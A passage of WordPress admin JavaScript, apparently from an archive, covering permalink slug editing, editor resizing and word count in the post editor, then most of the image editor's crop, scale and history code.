Twemoji in the post-name. full.find( 'img' ).replaceWith( function() { return this.alt; } ); full = full.html(); permalink.html( permalinkInner ); // Save current content to revert to when cancelling. $el = $( '#editable-post-name' ); revert_e = $el.html(); buttons.html( '<button type="button" class="save button button-compact">' + __( 'OK' ) + '</button> ' + '<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>' ); // Save permalink changes. buttons.children( '.save' ).on( 'click', function() { var new_slug = $el.children( 'input' ).val(); if ( new_slug == $('#editable-post-name-full').text() ) { buttons.children('.cancel').trigger( 'click' ); return; } $.post( ajaxurl, { action: 'sample-permalink', post_id: postId, new_slug: new_slug, new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function(data) { var box = $('#edit-slug-box'); box.html(data); if (box.hasClass('hidden')) { box.fadeIn('fast', function () { box.removeClass('hidden'); }); } buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(new_slug); $( '.edit-slug' ).trigger( 'focus' ); wp.a11y.speak( __( 'Permalink saved' ) ); } ); }); // Cancel editing of permalink. buttons.children( '.cancel' ).on( 'click', function() { $('#view-post-btn').show(); $el.html(revert_e); buttons.html(buttonsOrig); permalink.html(permalinkOrig); real_slug.val(revert_slug); $( '.edit-slug' ).trigger( 'focus' ); }); // If more than 1/4th of 'full' is '%', make it empty. for ( i = 0; i < full.length; ++i ) { if ( '%' == full.charAt(i) ) c++; } slug_value = ( c > full.length / 4 ) ? '' : full; slug_label = __( 'URL Slug' ); $el.html( '<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' + '<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />' ).children( 'input' ).on( 'keydown', function( e ) { var key = e.which; // On [Enter], just save the new slug, don't save the post. if ( 13 === key ) { e.preventDefault(); buttons.children( '.save' ).trigger( 'click' ); } // On [Esc] cancel the editing. if ( 27 === key ) { buttons.children( '.cancel' ).trigger( 'click' ); } } ).on( 'keyup', function() { real_slug.val( this.value ); }).trigger( 'focus' ); } $( '#titlediv' ).on( 'click', '.edit-slug', function() { editPermalink(); }); /** * Adds screen reader text to the title label when needed. * * Use the 'screen-reader-text' class to emulate a placeholder attribute * and hide the label when entering a value. * * @param {string} id Optional. HTML ID to add the screen reader helper text to. * * @global * * @return {void} */ window.wptitlehint = function( id ) { id = id || 'title'; var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' ); if ( '' === title.val() ) { titleprompt.removeClass( 'screen-reader-text' ); } title.on( 'input', function() { if ( '' === this.value ) { titleprompt.removeClass( 'screen-reader-text' ); return; } titleprompt.addClass( 'screen-reader-text' ); } ); }; wptitlehint(); // Resize the WYSIWYG and plain text editors. ( function() { var editor, offset, mce, $handle = $('#post-status-info'), $postdivrich = $('#postdivrich'); // If there are no textareas or we are on a touch device, we can't do anything. if ( ! $textarea.length || 'ontouchstart' in window ) { // Hide the resize handle. $('#content-resize-handle').hide(); return; } /** * Handle drag event. * * @param {Object} event Event containing details about the drag. */ function dragging( event ) { if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.theme.resizeTo( null, offset + event.pageY ); } else { $textarea.height( Math.max( 50, offset + event.pageY ) ); } event.preventDefault(); } /** * When the dragging stopped make sure we return focus and do a confidence check on the height. */ function endDrag() { var height, toolbarHeight; if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) { return; } if ( mce ) { editor.focus(); toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 ); if ( toolbarHeight < 10 || toolbarHeight > 200 ) { toolbarHeight = 30; } height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28; } else { $textarea.trigger( 'focus' ); height = parseInt( $textarea.css('height'), 10 ); } $document.off( '.wp-editor-resize' ); // Confidence check: normalize height to stay within acceptable ranges. if ( height && height > 50 && height < 5000 ) { setUserSetting( 'ed_size', height ); } } $handle.on( 'mousedown.wp-editor-resize', function( event ) { if ( typeof tinymce !== 'undefined' ) { editor = tinymce.get('content'); } if ( editor && ! editor.isHidden() ) { mce = true; offset = $('#content_ifr').height() - event.pageY; } else { mce = false; offset = $textarea.height() - event.pageY; $textarea.trigger( 'blur' ); } $document.on( 'mousemove.wp-editor-resize', dragging ) .on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag ); event.preventDefault(); }).on( 'mouseup.wp-editor-resize', endDrag ); })(); // TinyMCE specific handling of Post Format changes to reflect in the editor. if ( typeof tinymce !== 'undefined' ) { // When changing post formats, change the editor body class. $( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() { var editor, body, format = this.id; if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpost-format-[^ ]+/, '' ); editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format ); $( document ).trigger( 'editor-classchange' ); } }); // When changing page template, change the editor body class. $( '#page_template' ).on( 'change.set-editor-class', function() { var editor, body, pageTemplate = $( this ).val() || ''; pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length ) .replace( /\.php$/, '' ) .replace( /\./g, '-' ); if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) { body = editor.getBody(); body.className = body.className.replace( /\bpage-template-[^ ]+/, '' ); editor.dom.addClass( body, 'page-template-' + pageTemplate ); $( document ).trigger( 'editor-classchange' ); } }); } // Save on pressing [Ctrl]/[Command] + [S] in the Text editor. $textarea.on( 'keydown.wp-autosave', function( event ) { // Key [S] has code 83. if ( event.which === 83 ) { if ( event.shiftKey || event.altKey || ( isMac && ( ! event.metaKey || event.ctrlKey ) ) || ( ! isMac && ! event.ctrlKey ) ) { return; } wp.autosave && wp.autosave.server.triggerSave(); event.preventDefault(); } }); // If the last status was auto-draft and the save is triggered, edit the current URL. if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) { var location; $( '#publish' ).on( 'click', function() { location = window.location.href; location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?'; location += 'wp-post-new-reload=true'; window.history.replaceState( null, null, location ); }); } /** * Copies the attachment URL in the Edit Media page to the clipboard. * * @since 5.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ copyAttachmentURLClipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Show success visual feedback. clearTimeout( copyAttachmentURLSuccessTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. copyAttachmentURLSuccessTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) ); } ); } ); /** * TinyMCE word count display */ ( function( $, counter ) { $( function() { var $content = $( '#content' ), $count = $( '#wp-word-count' ).find( '.word-count' ), prevCount = 0, contentEditor; /** * Get the word count from TinyMCE and display it */ function update() { var text, count; if ( ! contentEditor || contentEditor.isHidden() ) { text = $content.val(); } else { text = contentEditor.getContent( { format: 'raw' } ); } count = counter.count( text ); if ( count !== prevCount ) { $count.text( count ); } prevCount = count; } /** * Bind the word count update triggers. * * When a node change in the main TinyMCE editor has been triggered. * When a key has been released in the plain text content editor. */ $( document ).on( 'tinymce-editor-init', function( event, editor ) { if ( editor.id !== 'content' ) { return; } contentEditor = editor; editor.on( 'nodechange keyup', _.debounce( update, 1000 ) ); } ); $content.on( 'input keyup', _.debounce( update, 1000 ) ); update(); } ); } )( jQuery, new wp.utils.WordCounter() ); js/image-edit.js 0000644 00000117750 15233246127 0007543 0 ustar 00 /** * The functions necessary for editing images. * * @since 2.9.0 * @output wp-admin/js/image-edit.js */ /* global ajaxurl, confirm */ (function($) { var __ = wp.i18n.__; /** * Contains all the methods to initialize and control the image editor. * * @namespace imageEdit */ var imageEdit = window.imageEdit = { iasapi : {}, hold : {}, postid : '', _view : false, /** * Enable crop tool. */ toggleCropTool: function( postid, nonce, cropButton ) { var img = $( '#image-preview-' + postid ), selection = this.iasapi.getSelection(); imageEdit.toggleControls( cropButton ); var $el = $( cropButton ); var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false'; // Crop tools have been closed. if ( 'false' === state ) { // Cancel selection, but do not unset inputs. this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-clear'), 0); } else { imageEdit.setDisabled($('.imgedit-crop-clear'), 1); // Get values from inputs to restore previous selection. var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0; var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0; var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth(); var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight(); // Ensure selection is available, otherwise reset to full image. if ( isNaN( selection.x1 ) ) { this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } ); selection = this.iasapi.getSelection(); } // If we don't already have a selection, select the entire image. if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) { this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } else { this.iasapi.setSelection( startX, startY, width, height, true ); this.iasapi.setOptions( { show: true } ); this.iasapi.update(); } } }, /** * Handle crop tool clicks. */ handleCropToolClick: function( postid, nonce, cropButton ) { if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) { this.iasapi.cancelSelection(); imageEdit.setDisabled($('.imgedit-crop-apply'), 0); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); } else { // Otherwise, perform the crop. imageEdit.crop( postid, nonce , cropButton ); } }, /** * Converts a value to an integer. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} f The float value that should be converted. * * @return {number} The integer representation from the float value. */ intval : function(f) { /* * Bitwise OR operator: one of the obscure ways to truncate floating point figures, * worth reminding JavaScript doesn't have a distinct "integer" type. */ return f | 0; }, /** * Adds the disabled attribute and class to a single form element or a field set. * * @since 2.9.0 * * @memberof imageEdit * * @param {jQuery} el The element that should be modified. * @param {boolean|number} s The state for the element. If set to true * the element is disabled, * otherwise the element is enabled. * The function is sometimes called with a 0 or 1 * instead of true or false. * * @return {void} */ setDisabled : function( el, s ) { /* * `el` can be a single form element or a fieldset. Before #28864, the disabled state on * some text fields was handled targeting $('input', el). Now we need to handle the * disabled state on buttons too so we can just target `el` regardless if it's a single * element or a fieldset because when a fieldset is disabled, its descendants are disabled too. */ if ( s ) { el.removeClass( 'disabled' ).prop( 'disabled', false ); } else { el.addClass( 'disabled' ).prop( 'disabled', true ); } }, /** * Initializes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ init : function(postid) { var t = this, old = $('#image-editor-' + t.postid); if ( t.postid !== postid && old.length ) { t.close(t.postid); } t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() ); t.postid = postid; $('#imgedit-response-' + postid).empty(); $('#imgedit-panel-' + postid).on( 'keypress', function(e) { var nonce = $( '#imgedit-nonce-' + postid ).val(); if ( e.which === 26 && e.ctrlKey ) { imageEdit.undo( postid, nonce ); } if ( e.which === 25 && e.ctrlKey ) { imageEdit.redo( postid, nonce ); } }); $('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) { var k = e.keyCode; // Key codes 37 through 40 are the arrow keys. if ( 36 < k && k < 41 ) { $(this).trigger( 'blur' ); } // The key code 13 is the Enter key. if ( 13 === k ) { e.preventDefault(); e.stopPropagation(); return false; } }); $( document ).on( 'image-editor-ui-ready', this.focusManager ); }, /** * Calculate the image size and save it to memory. * * @since 6.7.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ calculateImgSize: function( postid ) { var t = this, x = t.intval( $( '#imgedit-x-' + postid ).val() ), y = t.intval( $( '#imgedit-y-' + postid ).val() ); t.hold.w = t.hold.ow = x; t.hold.h = t.hold.oh = y; t.hold.xy_ratio = x / y; t.hold.sizer = parseFloat( $( '#imgedit-sizer-' + postid ).val() ); t.currentCropSelection = null; }, /** * Toggles the wait/load icon in the editor. * * @since 2.9.0 * @since 5.5.0 Added the triggerUIReady parameter. * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} toggle Is 0 or 1, fades the icon in when 1 and out when 0. * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false. * * @return {void} */ toggleEditor: function( postid, toggle, triggerUIReady ) { var wait = $('#imgedit-wait-' + postid); if ( toggle ) { wait.fadeIn( 'fast' ); } else { wait.fadeOut( 'fast', function() { if ( triggerUIReady ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); } }, /** * Shows or hides image menu popup. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ togglePopup : function(el) { var $el = $( el ); var $targetEl = $( el ).attr( 'aria-controls' ); var $target = $( '#' + $targetEl ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); // Open menu and set z-index to appear above image crop area if it is enabled. $target .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } ); // Move focus to first item in menu when opening menu. if ( 'true' === $el.attr( 'aria-expanded' ) ) { $target.find( 'button' ).first().trigger( 'focus' ); } return false; }, /** * Observes whether the popup should remain open based on focus position. * * @since 6.4.0 * * @memberof imageEdit * * @param {HTMLElement} el The activated control element. * * @return {boolean} Always returns false. */ monitorPopup : function() { var $parent = document.querySelector( '.imgedit-rotate-menu-container' ); var $toggle = document.querySelector( '.imgedit-rotate-menu-container .imgedit-rotate' ); setTimeout( function() { var $focused = document.activeElement; var $contains = $parent.contains( $focused ); // If $focused is defined and not inside the menu container, close the popup. if ( $focused && ! $contains ) { if ( 'true' === $toggle.getAttribute( 'aria-expanded' ) ) { imageEdit.togglePopup( $toggle ); } } }, 100 ); return false; }, /** * Navigate popup menu by arrow keys. * * @since 6.3.0 * @since 6.7.0 Added the event parameter. * * @memberof imageEdit * * @param {Event} event The key or click event. * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ browsePopup : function(event, el) { var $el = $( el ); var $collection = $( el ).parent( '.imgedit-popup-menu' ).find( 'button' ); var $index = $collection.index( $el ); var $prev = $index - 1; var $next = $index + 1; var $last = $collection.length; if ( $prev < 0 ) { $prev = $last - 1; } if ( $next === $last ) { $next = 0; } var target = false; if ( event.keyCode === 40 ) { target = $collection.get( $next ); } else if ( event.keyCode === 38 ) { target = $collection.get( $prev ); } if ( target ) { target.focus(); event.preventDefault(); } return false; }, /** * Close popup menu and reset focus on feature activation. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The current element. * * @return {boolean} Always returns false. */ closePopup : function(el) { var $parent = $(el).parent( '.imgedit-popup-menu' ); var $controlledID = $parent.attr( 'id' ); var $target = $( 'button[aria-controls="' + $controlledID + '"]' ); $target .attr( 'aria-expanded', 'false' ).trigger( 'focus' ); $parent .toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides the image edit help box. * * @since 2.9.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to create the help window in. * * @return {boolean} Always returns false. */ toggleHelp : function(el) { var $el = $( el ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ) .parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' ); return false; }, /** * Shows or hides image edit input fields when enabled. * * @since 6.3.0 * * @memberof imageEdit * * @param {HTMLElement} el The element to trigger the edit panel. * * @return {boolean} Always returns false. */ toggleControls : function(el) { var $el = $( el ); var $target = $( '#' + $el.attr( 'aria-controls' ) ); $el .attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' ); $target .parent( '.imgedit-group' ).toggleClass( 'imgedit-panel-active' ); return false; }, /** * Gets the value from the image edit target. * * The image edit target contains the image sizes where the (possible) changes * have to be applied to. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The value from the imagedit-save-target input field when available, * 'full' when not selected, or 'all' if it doesn't exist. */ getTarget : function( postid ) { var element = $( '#imgedit-save-target-' + postid ); if ( element.length ) { return element.find( 'input[name="imgedit-target-' + postid + '"]:checked' ).val() || 'full'; } return 'all'; }, /** * Recalculates the height or width and keeps the original aspect ratio. * * If the original image size is exceeded a red exclamation mark is shown. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The current post ID. * @param {number} x Is 0 when it applies the y-axis * and 1 when applicable for the x-axis. * @param {jQuery} el Element. * * @return {void} */ scaleChanged : function( postid, x, el ) { var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '', scaleBtn = $('#imgedit-scale-button'); if ( false === this.validateNumeric( el ) ) { return; } if ( x ) { h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : ''; h.val( h1 ); } else { w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : ''; w.val( w1 ); } if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) { warn.css('visibility', 'visible'); scaleBtn.prop('disabled', true); } else { warn.css('visibility', 'hidden'); scaleBtn.prop('disabled', false); } }, /** * Gets the selected aspect ratio. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {string} The aspect ratio. */ getSelRatio : function(postid) { var x = this.hold.w, y = this.hold.h, X = this.intval( $('#imgedit-crop-width-' + postid).val() ), Y = this.intval( $('#imgedit-crop-height-' + postid).val() ); if ( X && Y ) { return X + ':' + Y; } if ( x && y ) { return x + ':' + y; } return '1:1'; }, /** * Removes the last action from the image edit history. * The history consist of (edit) actions performed on the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} setSize 0 or 1, when 1 the image resets to its original size. * * @return {string} JSON string containing the history or an empty string if no history exists. */ filterHistory : function(postid, setSize) { // Apply undo state to history. var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = []; if ( history !== '' ) { // Read the JSON string with the image edit history. history = JSON.parse(history); pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop > 0 ) { while ( pop > 0 ) { history.pop(); pop--; } } // Reset size to its original state. if ( setSize ) { if ( !history.length ) { this.hold.w = this.hold.ow; this.hold.h = this.hold.oh; return ''; } // Restore original 'o'. o = history[history.length - 1]; // c = 'crop', r = 'rotate', f = 'flip'. o = o.c || o.r || o.f || false; if ( o ) { // fw = Full image width. this.hold.w = o.fw; // fh = Full image height. this.hold.h = o.fh; } } // Filter the last step/action from the history. for ( n in history ) { i = history[n]; if ( i.hasOwnProperty('c') ) { op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h, 'r': i.c.r } }; } else if ( i.hasOwnProperty('r') ) { op[n] = { 'r': i.r.r }; } else if ( i.hasOwnProperty('f') ) { op[n] = { 'f': i.f.f }; } } return JSON.stringify(op); } return ''; }, /** * Binds the necessary events to the image. * * When the image source is reloaded the image will be reloaded. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {function} callback Function to execute when the image is loaded. * * @return {void} */ refreshEditor : function(postid, nonce, callback) { var t = this, data, img; t.toggleEditor(postid, 1); data = { 'action': 'imgedit-preview', '_ajax_nonce': nonce, 'postid': postid, 'history': t.filterHistory(postid, 1), 'rand': t.intval(Math.random() * 1000000) }; img = $( '<img id="image-preview-' + postid + '" alt="" />' ) .on( 'load', { history: data.history }, function( event ) { var max1, max2, parent = $( '#imgedit-crop-' + postid ), t = imageEdit, historyObj; // Checks if there already is some image-edit history. if ( '' !== event.data.history ) { historyObj = JSON.parse( event.data.history ); // If last executed action in history is a crop action. if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) { /* * A crop action has completed and the crop button gets disabled * ensure the undo button is enabled. */ t.setDisabled( $( '#image-undo-' + postid) , true ); // Move focus to the undo button to avoid a focus loss. $( '#image-undo-' + postid ).trigger( 'focus' ); } } parent.empty().append(img); // w, h are the new full size dimensions. max1 = Math.max( t.hold.w, t.hold.h ); max2 = Math.max( $(img).width(), $(img).height() ); t.hold.sizer = max1 > max2 ? max2 / max1 : 1; t.initCrop(postid, img, parent); if ( (typeof callback !== 'undefined') && callback !== null ) { callback(); } if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', false); } else { $('button.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true); } var successMessage = __( 'Image updated.' ); t.toggleEditor(postid, 0); wp.a11y.speak( successMessage, 'assertive' ); }) .on( 'error', function() { var errorMessage = __( 'Could not load the preview image. Please reload the page and try again.' ); $( '#imgedit-crop-' + postid ) .empty() .append( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); t.toggleEditor( postid, 0, true ); wp.a11y.speak( errorMessage, 'assertive' ); } ) .attr('src', ajaxurl + '?' + $.param(data)); }, /** * Performs an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce to verify the request. * @param {string} action The action to perform on the image. * The possible actions are: "scale" and "restore". * * @return {boolean|void} Executes a post request that refreshes the page * when the action is performed. * Returns false if an invalid action is given, * or when the action cannot be performed. */ action : function(postid, nonce, action) { var t = this, data, w, h, fw, fh; if ( t.notsaved(postid) ) { return false; } data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid }; if ( 'scale' === action ) { w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid), fw = t.intval(w.val()), fh = t.intval(h.val()); if ( fw < 1 ) { w.trigger( 'focus' ); return false; } else if ( fh < 1 ) { h.trigger( 'focus' ); return false; } if ( fw === t.hold.ow || fh === t.hold.oh ) { return false; } data['do'] = 'scale'; data.fwidth = fw; data.fheight = fh; } else if ( 'restore' === action ) { data['do'] = 'restore'; } else { return false; } t.toggleEditor(postid, 1); $.post( ajaxurl, data, function( response ) { $( '#image-editor-' + postid ).empty().append( response.data.html ); t.toggleEditor( postid, 0, true ); // Refresh the attachment model so that changes propagate. if ( t._view ) { t._view.refresh(); } } ).done( function( response ) { // Whether the executed action was `scale` or `restore`, the response does have a message. if ( response && response.data.message.msg ) { wp.a11y.speak( response.data.message.msg ); return; } if ( response && response.data.message.error ) { wp.a11y.speak( response.data.message.error ); } } ); }, /** * Stores the changes that are made to the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID to get the image from the database. * @param {string} nonce The nonce to verify the request. * * @return {boolean|void} If the actions are successfully saved a response message is shown. * Returns false if there is no image editing history, * thus there are not edit-actions performed on the image. */ save : function(postid, nonce) { var data, target = this.getTarget(postid), history = this.filterHistory(postid, 0), self = this; if ( '' === history ) { return false; } this.toggleEditor(postid, 1); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'history': history, 'target': target, 'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null, 'do': 'save' }; // Post the image edit data to the backend. $.post( ajaxurl, data, function( response ) { // If a response is returned, close the editor and show an error. if ( response.data.error ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' ); imageEdit.close(postid); wp.a11y.speak( response.data.error ); return; } if ( response.data.fw && response.data.fh ) { $( '#media-dims-' + postid ).html( response.data.fw + ' × ' + response.data.fh ); } if ( response.data.thumbnail ) { $( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail ); } if ( response.data.msg ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' ); wp.a11y.speak( response.data.msg ); } if ( self._view ) { self._view.save(); } else { imageEdit.close(postid); } }); }, /** * Creates the image edit window. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID for the image. * @param {string} nonce The nonce to verify the request. * @param {Object} view The image editor view to be used for the editing. * * @return {void|promise} Either returns void if the button was already activated * or returns an instance of the image editor, wrapped in a promise. */ open : function( postid, nonce, view ) { this._view = view; var dfd, data, elem = $( '#image-editor-' + postid ), head = $( '#media-head-' + postid ), btn = $( '#imgedit-open-btn-' + postid ), spin = btn.siblings( '.spinner' ); /* * Instead of disabling the button, which causes a focus loss and makes screen * readers announce "unavailable", return if the button was already clicked. */ if ( btn.hasClass( 'button-activated' ) ) { return; } spin.addClass( 'is-active' ); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'do': 'open' }; dfd = $.ajax( { url: ajaxurl, type: 'post', data: data, beforeSend: function() { btn.addClass( 'button-activated' ); } } ).done( function( response ) { var errorMessage; if ( '-1' === response ) { errorMessage = __( 'Could not load the preview image.' ); elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); } if ( response.data && response.data.html ) { elem.html( response.data.html ); } head.fadeOut( 'fast', function() { elem.fadeIn( 'fast', function() { if ( errorMessage ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); btn.removeClass( 'button-activated' ); spin.removeClass( 'is-active' ); } ); // Initialize the Image Editor now that everything is ready. imageEdit.init( postid ); } ); return dfd; }, /** * Initializes the cropping tool and sets a default cropping selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ imgLoaded : function(postid) { var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid); // Ensure init has run even when directly loaded. if ( 'undefined' === typeof this.hold.sizer ) { this.init( postid ); } this.calculateImgSize( postid ); this.initCrop(postid, img, parent); this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } ); this.toggleEditor( postid, 0, true ); }, /** * Manages keyboard focus in the Image Editor user interface. * * @since 5.5.0 * * @return {void} */ focusManager: function() { /* * Editor is ready. Move focus to one of the admin alert notices displayed * after a user action or to the first focusable element. Since the DOM * update is pretty large, the timeout helps browsers update their * accessibility tree to better support assistive technologies. */ setTimeout( function() { var elementToSetFocusTo = $( '.notice[role="alert"]' ); if ( ! elementToSetFocusTo.length ) { elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' ); } elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' ); }, 100 ); }, /** * Initializes the cropping tool. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {HTMLElement} image The preview image. * @param {HTMLElement} parent The preview image container. * * @return {void} */ initCrop : function(postid, image, parent) { var t = this, selW = $('#imgedit-sel-width-' + postid), selH = $('#imgedit-sel-height-' + postid), $image = $( image ), $img; // Already initialized? if ( $image.data( 'imgAreaSelect' ) ) { return; } t.iasapi = $image.imgAreaSelect({ parent: parent, instance: true, handles: true, keys: true, minWidth: 3, minHeight: 3, /** * Sets the CSS styles and binds events for locking the aspect ratio. * * @ignore * * @param {jQuery} img The preview image. */ onInit: function( img ) { // Ensure that the imgAreaSelect wrapper elements are position:absolute // (even if we're in a position:fixed modal). $img = $( img ); $img.next().css( 'position', 'absolute' ) .nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' ); /** * Binds mouse down event to the cropping container. * * @return {void} */ parent.children().on( 'mousedown touchstart', function(e) { var ratio = false, sel = t.iasapi.getSelection(), cx = t.intval( $( '#imgedit-crop-width-' + postid ).val() ), cy = t.intval( $( '#imgedit-crop-height-' + postid ).val() ); if ( cx && cy ) { ratio = t.getSelRatio( postid ); } else if ( e.shiftKey && sel && sel.width && sel.height ) { ratio = sel.width + ':' + sel.height; } t.iasapi.setOptions({ aspectRatio: ratio }); }); }, /** * Event triggered when starting a selection. * * @ignore * * @return {void} */ onSelectStart: function() { imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1); imageEdit.setDisabled($('.imgedit-crop-clear'), 1); imageEdit.setDisabled($('.imgedit-crop-apply'), 1); }, /** * Event triggered when the selection is ended. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {Object} */ onSelectEnd: function(img, c) { imageEdit.setCropSelection(postid, c); if ( ! $('#imgedit-crop > *').is(':visible') ) { imageEdit.toggleControls($('.imgedit-crop.button')); } }, /** * Event triggered when the selection changes. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {void} */ onSelectChange: function(img, c) { var sizer = imageEdit.hold.sizer, oldSel = imageEdit.currentCropSelection; if ( oldSel != null && oldSel.width == c.width && oldSel.height == c.height ) { return; } selW.val( Math.min( imageEdit.hold.w, imageEdit.round( c.width / sizer ) ) ); selH.val( Math.min( imageEdit.hold.h, imageEdit.round( c.height / sizer ) ) ); t.currentCropSelection = c; } }); }, /** * Stores the current crop selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {Object} c The selection. * * @return {boolean} */ setCropSelection : function(postid, c) { var sel, selW = $( 